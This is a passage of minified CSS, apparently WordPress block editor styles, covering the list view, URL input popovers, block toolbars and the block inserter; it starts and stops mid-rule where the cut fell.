var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block__menu:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-list-view-leaf.is-first-selected td:first-child{border-top-left-radius:2px}.block-editor-list-view-leaf.is-first-selected td:last-child{border-top-right-radius:2px}.block-editor-list-view-leaf.is-last-selected td:first-child{border-bottom-left-radius:2px}.block-editor-list-view-leaf.is-last-selected td:last-child{border-bottom-right-radius:2px}.block-editor-list-view-leaf.is-branch-selected:not(.is-selected):not(.is-synced-branch){background:rgba(var(--wp-admin-theme-color--rgb),.04)}.block-editor-list-view-leaf.is-synced-branch.is-branch-selected{background:rgba(var(--wp-block-synced-color--rgb),.04)}.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:first-child{border-top-left-radius:2px}.block-editor-list-view-leaf.is-branch-selected.is-first-selected td:last-child{border-top-right-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:first-child{border-top-left-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-first-selected td:last-child{border-top-right-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:first-child{border-bottom-left-radius:2px}.block-editor-list-view-leaf[data-expanded=false].is-branch-selected.is-last-selected td:last-child{border-bottom-right-radius:2px}.block-editor-list-view-leaf.is-branch-selected:not(.is-selected) td{border-radius:0}.block-editor-list-view-leaf.is-displacement-normal{transform:translateY(0)}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-displacement-normal{transition:transform .2s}}.block-editor-list-view-leaf.is-displacement-up{transform:translateY(-32px)}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-displacement-up{transition:transform .2s}}.block-editor-list-view-leaf.is-displacement-down{transform:translateY(32px)}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-displacement-down{transition:transform .2s}}.block-editor-list-view-leaf.is-after-dragged-blocks{transform:translateY(calc(var(--wp-admin--list-view-dragged-items-height, 32px)*-1))}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-after-dragged-blocks{transition:transform .2s}}.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{transform:translateY(calc(-32px + var(--wp-admin--list-view-dragged-items-height, 32px)*-1))}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-up{transition:transform .2s}}.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{transform:translateY(calc(32px + var(--wp-admin--list-view-dragged-items-height, 32px)*-1))}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-after-dragged-blocks.is-displacement-down{transition:transform .2s}}.block-editor-list-view-leaf.is-dragging{left:0;opacity:0;pointer-events:none;z-index:-9999}.block-editor-list-view-leaf .block-editor-list-view-block-contents{align-items:center;border-radius:2px;box-sizing:border-box;color:inherit;display:flex;font-family:inherit;font-size:13px;font-weight:400;height:32px;margin:0;padding:6px 4px 6px 0;position:relative;text-align:left;text-decoration:none;white-space:nowrap;width:100%}@media not (prefers-reduced-motion){.block-editor-list-view-leaf .block-editor-list-view-block-contents{transition:box-shadow .1s linear}}.components-modal__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{padding-left:0;padding-right:0}.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents{box-shadow:none}.block-editor-list-view-leaf .block-editor-list-view-block-contents:focus:after,.block-editor-list-view-leaf.is-nesting .block-editor-list-view-block-contents:after{border-radius:inherit;bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:0;pointer-events:none;position:absolute;right:-29px;top:0;z-index:2}.block-editor-list-view-leaf.has-single-cell .block-editor-list-view-block-contents:focus:after{right:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu:focus,.block-editor-list-view-leaf.is-nesting .block-editor-list-view__menu{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);z-index:1}.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{opacity:1}@keyframes __wp-base-styles-fade-in{0%{opacity:0}to{opacity:1}}@media not (prefers-reduced-motion){.block-editor-list-view-leaf.is-visible .block-editor-list-view-block-contents{animation:__wp-base-styles-fade-in .08s linear 0s;animation-fill-mode:forwards}}.block-editor-list-view-leaf .block-editor-block-icon{flex:0 0 24px;margin-right:4px}.block-editor-list-view-leaf .block-editor-list-view-block__contents-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{padding:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell{line-height:0;vertical-align:middle;width:36px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell>*{opacity:0}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell:hover>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell.is-visible>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:focus-within>*,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell:hover>*{opacity:1}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell,.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell,.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell .components-button.has-icon{min-width:24px;padding:0;width:24px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell{padding-right:4px}.block-editor-list-view-leaf .block-editor-list-view-block__menu-cell .components-button.has-icon{height:24px}.block-editor-list-view-leaf .block-editor-list-view-block__mover-cell-alignment-wrapper{align-items:center;display:flex;flex-direction:column;height:100%}.block-editor-list-view-leaf .block-editor-block-mover-button{height:24px;position:relative;width:36px}.block-editor-list-view-leaf .block-editor-block-mover-button svg{height:24px;position:relative}.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button{align-items:flex-end;margin-top:-6px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-up-button svg{bottom:-4px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button{align-items:flex-start;margin-bottom:-6px}.block-editor-list-view-leaf .block-editor-block-mover-button.is-down-button svg{top:-4px}.block-editor-list-view-leaf .block-editor-block-mover-button:before{height:16px;left:0;min-width:100%;right:0}.block-editor-list-view-leaf .block-editor-inserter__toggle{background:#1e1e1e;color:#fff;height:24px;margin:6px 6px 6px 1px;min-width:24px}.block-editor-list-view-leaf .block-editor-inserter__toggle:active{color:#fff}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__label-wrapper svg{left:2px;position:relative}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title{flex:1;position:relative}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__title .components-truncate{position:absolute;transform:translateY(-50%);width:100%}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor-wrapper{max-width:min(110px,40%);position:relative;width:100%}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__anchor{position:absolute;right:0;transform:translateY(-50%)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__anchor{background:#0000004d;color:#fff}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__lock,.block-editor-list-view-leaf .block-editor-list-view-block-select-button__sticky{line-height:0}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__images{display:flex}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image{background-size:cover;border-radius:1px;height:18px;width:18px}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:only-child){box-shadow:0 0 0 2px #fff}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:first-child){margin-left:-6px}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__image:not(:only-child){box-shadow:0 0 0 2px var(--wp-admin-theme-color)}.block-editor-list-view-draggable-chip{opacity:.8}.block-editor-list-view-appender__cell .block-editor-list-view-appender__container,.block-editor-list-view-appender__cell .block-editor-list-view-block__contents-container,.block-editor-list-view-block__contents-cell .block-editor-list-view-appender__container,.block-editor-list-view-block__contents-cell .block-editor-list-view-block__contents-container{display:flex}.block-editor-list-view__expander{cursor:pointer;height:24px;width:24px}.block-editor-list-view-leaf[aria-level] .block-editor-list-view__expander{margin-left:192px}.block-editor-list-view-leaf[aria-level="1"] .block-editor-list-view__expander{margin-left:0}.block-editor-list-view-leaf[aria-level="2"] .block-editor-list-view__expander{margin-left:24px}.block-editor-list-view-leaf[aria-level="3"] .block-editor-list-view__expander{margin-left:48px}.block-editor-list-view-leaf[aria-level="4"] .block-editor-list-view__expander{margin-left:72px}.block-editor-list-view-leaf[aria-level="5"] .block-editor-list-view__expander{margin-left:96px}.block-editor-list-view-leaf[aria-level="6"] .block-editor-list-view__expander{margin-left:120px}.block-editor-list-view-leaf[aria-level="7"] .block-editor-list-view__expander{margin-left:144px}.block-editor-list-view-leaf[aria-level="8"] .block-editor-list-view__expander{margin-left:168px}.block-editor-list-view-leaf .block-editor-list-view__expander{visibility:hidden}.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{transform:rotate(90deg);visibility:visible}@media not (prefers-reduced-motion){.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{transition:transform .2s ease}}.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{transform:rotate(0deg);visibility:visible}@media not (prefers-reduced-motion){.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{transition:transform .2s ease}}.block-editor-list-view-drop-indicator{pointer-events:none}.block-editor-list-view-drop-indicator .block-editor-list-view-drop-indicator__line{background:var(--wp-admin-theme-color);border-radius:4px;height:4px}.block-editor-list-view-drop-indicator--preview{pointer-events:none}.block-editor-list-view-drop-indicator--preview .components-popover__content{overflow:hidden!important}.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:4px;height:32px;overflow:hidden}.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line--darker{background:rgba(var(--wp-admin-theme-color--rgb),.09)}.block-editor-list-view-placeholder{height:32px;margin:0;padding:0}.list-view-appender .block-editor-inserter__toggle{background-color:#1e1e1e;color:#fff;height:24px;margin:8px 0 0 24px;padding:0}.list-view-appender .block-editor-inserter__toggle.has-icon.is-next-40px-default-size{min-width:24px}.list-view-appender .block-editor-inserter__toggle:focus,.list-view-appender .block-editor-inserter__toggle:hover{background:var(--wp-admin-theme-color);color:#fff}.list-view-appender__description{display:none}.block-editor-media-placeholder__url-input-form{min-width:260px}@media (min-width:600px){.block-editor-media-placeholder__url-input-form{width:300px}}.block-editor-media-placeholder__url-input-form input{direction:ltr}.modal-open .block-editor-media-replace-flow__options{display:none}.block-editor-media-replace-flow__indicator{margin-left:4px}.block-editor-media-replace-flow__media-upload-menu:not(:empty)+.block-editor-media-flow__url-input{border-top:1px solid #1e1e1e;margin-top:8px;padding-bottom:8px}.block-editor-media-flow__url-input{margin-left:-8px;margin-right:-8px;padding:16px}.block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label{display:block;margin-bottom:8px;top:16px}.block-editor-media-flow__url-input .block-editor-link-control{width:300px}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-url-input{margin:0;padding:0}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-info,.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title{max-width:200px;white-space:nowrap}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__tools{justify-content:flex-end;padding:16px var(--wp-admin-border-width-focus) var(--wp-admin-border-width-focus)}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current{padding:0;width:auto}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{margin:0;width:100%}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions{padding:8px 0 0}.block-editor-media-flow__error{max-width:255px;padding:0 20px 20px}.block-editor-media-flow__error .components-with-notices-ui{max-width:255px}.block-editor-media-flow__error .components-with-notices-ui .components-notice__content{overflow:hidden;word-wrap:break-word}.block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss{position:absolute;right:10px}.block-editor-multi-selection-inspector__card{padding:16px}.block-editor-multi-selection-inspector__card-title{font-weight:500}.block-editor-multi-selection-inspector__card .block-editor-block-icon{height:24px;margin-left:-2px;padding:0 3px;width:36px}.block-editor-responsive-block-control{border-bottom:1px solid #ccc;margin-bottom:28px;padding-bottom:14px}.block-editor-responsive-block-control:last-child{border-bottom:0;padding-bottom:0}.block-editor-responsive-block-control__title{margin:0 0 .6em -3px}.block-editor-responsive-block-control__label{font-weight:600;margin-bottom:.6em;margin-left:-3px}.block-editor-responsive-block-control__inner{margin-left:-1px}.block-editor-responsive-block-control__toggle{margin-left:1px}.block-editor-responsive-block-control .components-base-control__help{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.components-popover.block-editor-rich-text__inline-format-toolbar{z-index:99998}.components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content{border-radius:2px;box-shadow:none;margin-bottom:8px;min-width:auto;outline:none;width:auto}.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar{border-radius:2px}.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar-group{background:none}.components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control{min-height:48px;min-width:48px;padding-left:12px;padding-right:12px}.block-editor-rich-text__inline-format-toolbar-group .components-dropdown-menu__toggle{justify-content:center}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon{width:auto}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon:after{content:attr(aria-label)}.block-editor-skip-to-selected-block{position:absolute;top:-9999em}.block-editor-skip-to-selected-block:focus{background:#f1f1f1;font-size:14px;font-weight:600;z-index:100000}.block-editor-tabbed-sidebar{background-color:#fff;display:flex;flex-direction:column;flex-grow:1;height:100%;overflow:hidden}.block-editor-tabbed-sidebar__tablist-and-close-button{border-bottom:1px solid #ddd;display:flex;justify-content:space-between;padding-right:8px}.block-editor-tabbed-sidebar__close-button{align-self:center;background:#fff;order:1}.block-editor-tabbed-sidebar__tablist{margin-bottom:-1px}.block-editor-tabbed-sidebar__tabpanel{display:flex;flex-direction:column;flex-grow:1;overflow-y:auto;scrollbar-gutter:auto}.block-editor-tool-selector__help{border-top:1px solid #ddd;color:#757575;margin:8px -8px -8px;min-width:280px;padding:16px}.block-editor-tool-selector__menu .components-menu-item__info{margin-left:36px;text-align:left}.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{flex-grow:1;padding:1px;position:relative}@media (min-width:600px){.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{min-width:300px;width:auto}}.block-editor-block-list__block .block-editor-url-input.is-full-width,.block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions,.block-editor-url-input.is-full-width,.block-editor-url-input.is-full-width__suggestions,.components-popover .block-editor-url-input.is-full-width,.components-popover .block-editor-url-input.is-full-width__suggestions{width:100%}.block-editor-block-list__block .block-editor-url-input .components-spinner,.block-editor-url-input .components-spinner,.components-popover .block-editor-url-input .components-spinner{margin:0;position:absolute;right:8px;top:calc(50% - 8px)}.block-editor-url-input__suggestions{max-height:200px;overflow-y:auto;padding:4px 0;width:302px}@media not (prefers-reduced-motion){.block-editor-url-input__suggestions{transition:all .15s ease-in-out}}.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:none}@media (min-width:600px){.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:grid}}.block-editor-url-input__suggestion{background:#fff;border:none;box-shadow:none;color:#757575;cursor:pointer;display:block;font-size:13px;height:auto;min-height:36px;text-align:left;width:100%}.block-editor-url-input__suggestion:hover{background:#ddd}.block-editor-url-input__suggestion.is-selected,.block-editor-url-input__suggestion:focus{background:var(--wp-admin-theme-color-darker-20);color:#fff;outline:none}.components-toolbar-group>.block-editor-url-input__button,.components-toolbar>.block-editor-url-input__button{position:inherit}.block-editor-url-input__button .block-editor-url-input__back{margin-right:4px;overflow:visible}.block-editor-url-input__button .block-editor-url-input__back:after{background:#ddd;content:"";display:block;height:24px;position:absolute;right:-1px;width:1px}.block-editor-url-input__button-modal{background:#fff;border:1px solid #ddd;box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003}.block-editor-url-input__button-modal-line{align-items:flex-start;display:flex;flex-direction:row;flex-grow:1;flex-shrink:1;min-width:0}.block-editor-url-popover__additional-controls{border-top:1px solid #1e1e1e;padding:8px}.block-editor-url-popover__input-container{padding:8px}.block-editor-url-popover__row{align-items:center;display:flex;gap:4px}.block-editor-url-popover__row>:not(.block-editor-url-popover__settings-toggle){flex-grow:1;gap:8px}.block-editor-url-popover__additional-controls .components-button.has-icon{height:auto;padding-left:8px;padding-right:8px;text-align:left}.block-editor-url-popover__additional-controls .components-button.has-icon>svg{margin-right:8px}.block-editor-url-popover__settings-toggle{flex-shrink:0}.block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon{transform:rotate(180deg)}.block-editor-url-popover__settings{border-top:1px solid #1e1e1e;display:block;padding:16px}.block-editor-url-popover__link-editor,.block-editor-url-popover__link-viewer{display:flex}.block-editor-url-popover__link-viewer-url{align-items:center;display:flex;flex-grow:1;flex-shrink:1;margin-right:8px;max-width:350px;min-width:150px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-url-popover__link-viewer-url.has-invalid-link{color:#cc1818}.block-editor-url-popover__expand-on-click{align-items:center;display:flex;min-width:350px;white-space:nowrap}.block-editor-url-popover__expand-on-click .text{flex-grow:1}.block-editor-url-popover__expand-on-click .text p{line-height:16px;margin:0}.block-editor-url-popover__expand-on-click .text p.description{color:#757575;font-size:12px}.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack .components-h-stack{flex-direction:row}.block-editor-hooks__block-hooks .block-editor-hooks__block-hooks-helptext{color:#757575;font-size:12px;margin-bottom:16px}div.block-editor-bindings__panel{grid-template-columns:repeat(auto-fit,minmax(100%,1fr))}div.block-editor-bindings__panel button:hover .block-editor-bindings__item span{color:inherit}.border-block-support-panel .single-column{grid-column:span 1}.color-block-support-panel .block-editor-contrast-checker{grid-column:span 2;margin-top:16px}.color-block-support-panel .block-editor-contrast-checker .components-notice__content{margin-right:0}.color-block-support-panel.color-block-support-panel .color-block-support-panel__inner-wrapper{row-gap:0}.color-block-support-panel .block-editor-tools-panel-color-gradient-settings__item.first{margin-top:0}.dimensions-block-support-panel .single-column{grid-column:span 1}.block-editor-hooks__layout-constrained .components-base-control{margin-bottom:0}.block-editor-hooks__layout-constrained-helptext{color:#757575;font-size:12px;margin-bottom:0}.block-editor-hooks__flex-layout-justification-controls,.block-editor-hooks__flex-layout-orientation-controls{margin-bottom:12px}.block-editor-hooks__flex-layout-justification-controls legend,.block-editor-hooks__flex-layout-orientation-controls legend{margin-bottom:8px}.block-editor__spacing-visualizer{border-color:var(--wp-admin-theme-color);border-style:solid;bottom:0;box-sizing:border-box;left:0;opacity:.5;pointer-events:none;position:absolute;right:0;top:0}.typography-block-support-panel .single-column{grid-column:span 1}.block-editor-block-toolbar{display:flex;flex-grow:1;overflow-x:auto;overflow-y:hidden;position:relative;width:100%}@media not (prefers-reduced-motion){.block-editor-block-toolbar{transition:border-color .1s linear,box-shadow .1s linear}}@media (min-width:600px){.block-editor-block-toolbar{overflow:inherit}}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group{background:none;border:0;border-right:1px solid #ddd;margin-bottom:-1px;margin-top:-1px}.block-editor-block-toolbar.is-connected .block-editor-block-switcher .components-button:before{background:color-mix(in srgb,var(--wp-block-synced-color) 10%,#0000);border-radius:2px}.block-editor-block-toolbar.is-connected .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-connected .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors,.block-editor-block-toolbar.is-synced .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-synced .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{color:var(--wp-block-synced-color)}.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2),.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2) .components-toolbar,.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2) .components-toolbar-group,.block-editor-block-toolbar>:last-child,.block-editor-block-toolbar>:last-child .components-toolbar,.block-editor-block-toolbar>:last-child .components-toolbar-group{border-right:none}.block-editor-block-toolbar .components-toolbar-group:empty{display:none}.block-editor-block-contextual-toolbar{background-color:#fff;display:block;flex-shrink:3;position:sticky;top:0;width:100%;z-index:31}.block-editor-block-contextual-toolbar.components-accessible-toolbar{border:none;border-radius:0}.block-editor-block-contextual-toolbar.is-unstyled{box-shadow:0 1px 0 0 rgba(0,0,0,.133)}.block-editor-block-contextual-toolbar .block-editor-block-toolbar{overflow:auto;overflow-y:hidden;scrollbar-color:#e0e0e0 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:auto;scrollbar-width:thin;will-change:transform}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar{height:12px;width:12px}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-track{background-color:initial}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:#e0e0e0;border:3px solid #0000;border-radius:8px}.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover::-webkit-scrollbar-thumb{background-color:#949494}.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover{scrollbar-color:#949494 #0000}@media (hover:none){.block-editor-block-contextual-toolbar .block-editor-block-toolbar{scrollbar-color:#949494 #0000}}.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar-group:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child:after{display:none}.block-editor-block-contextual-toolbar>.block-editor-block-toolbar{flex-grow:0;width:auto}.block-editor-block-contextual-toolbar .block-editor-block-parent-selector{margin-bottom:-1px;margin-top:-1px;position:relative}.block-editor-block-contextual-toolbar .block-editor-block-parent-selector:after{align-items:center;background-color:#1e1e1e;border-radius:100%;content:"";display:inline-flex;height:2px;position:absolute;right:0;top:15px;width:2px}.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{margin:0!important;width:24px!important}.block-editor-block-toolbar__block-controls .components-toolbar-group{padding:0}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar-group{display:flex;flex-wrap:nowrap}.block-editor-block-toolbar__slot{display:inline-flex}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{width:auto}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.show-icon-labels .components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon{padding-left:6px;padding-right:6px}.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{height:0!important;min-width:0!important;width:0!important}.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button{border-bottom-right-radius:0;border-top-right-radius:0;padding-left:12px;padding-right:12px;text-wrap:nowrap}.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button .block-editor-block-icon{width:0}.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container{position:relative;width:auto}@media (min-width:600px){.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{background:#e0e0e0;content:"";height:1px;left:50%;margin-top:-.5px;position:absolute;top:50%;transform:translate(-50%);width:100%}}@media (min-width:782px){.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{background:#1e1e1e}}.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover-button,.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{padding-left:6px;padding-right:6px}.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button{padding-left:8px;padding-right:8px}.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover{border-left:1px solid #ddd;margin-left:6px;margin-right:-6px;white-space:nowrap}.show-icon-labels .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon{padding-left:12px;padding-right:12px}.show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{width:auto}.show-icon-labels .components-toolbar,.show-icon-labels .components-toolbar-group{flex-shrink:1}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button+.components-button{margin-left:6px}.block-editor-block-toolbar-change-design-content-wrapper{padding:12px;width:320px}.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr;grid-gap:12px}.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{min-height:100px}.block-editor-inserter{background:none;border:none;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:0;padding:0}@media (min-width:782px){.block-editor-inserter{position:relative}}.block-editor-inserter__main-area{gap:16px;height:100%;position:relative}.block-editor-inserter__main-area.show-as-tabs{gap:0}@media (min-width:782px){.block-editor-inserter__main-area .block-editor-tabbed-sidebar{width:350px}}.block-editor-inserter__popover.is-quick .components-popover__content{border:none;box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;outline:none}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>*{border-left:1px solid #ccc;border-right:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:first-child{border-radius:4px 4px 0 0;border-top:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:last-child{border-bottom:1px solid #ccc;border-radius:0 0 4px 4px}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>.components-button{border:1px solid #1e1e1e}.block-editor-inserter__popover .block-editor-inserter__menu{margin:-12px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tablist{top:60px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area{height:auto;overflow:visible}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container{display:none}.block-editor-inserter__toggle.components-button{align-items:center;border:none;cursor:pointer;display:inline-flex;outline:none;padding:0}@media not (prefers-reduced-motion){.block-editor-inserter__toggle.components-button{transition:color .2s ease}}.block-editor-inserter__menu{height:100%;overflow:visible;position:relative}@media (min-width:782px){.block-editor-inserter__menu.show-panel{width:630px}}.block-editor-inserter__inline-elements{margin-top:-1px}.block-editor-inserter__menu.is-bottom:after{border-bottom-color:#fff}.components-popover.block-editor-inserter__popover{z-index:99999}.block-editor-inserter__search{padding:16px 16px 0}.block-editor-inserter__no-tab-container{flex-grow:1;overflow-y:auto;position:relative}.block-editor-inserter__panel-header{align-items:center;display:inline-flex;padding:16px 16px 0;position:relative}.block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__panel-title,.block-editor-inserter__panel-title button{color:#757575;font-size:11px;font-weight:500;margin:0 12px 0 0;text-transform:uppercase}.block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input{height:36px;line-height:36px}.block-editor-inserter__panel-dropdown select{border:none}.block-editor-inserter__reusable-blocks-panel{position:relative;text-align:right}.block-editor-inserter__no-results,.block-editor-inserter__patterns-loading{padding:32px;text-align:center}.block-editor-inserter__child-blocks{padding:0 16px}.block-editor-inserter__parent-block-header{align-items:center;display:flex}.block-editor-inserter__parent-block-header h2{font-size:13px}.block-editor-inserter__parent-block-header 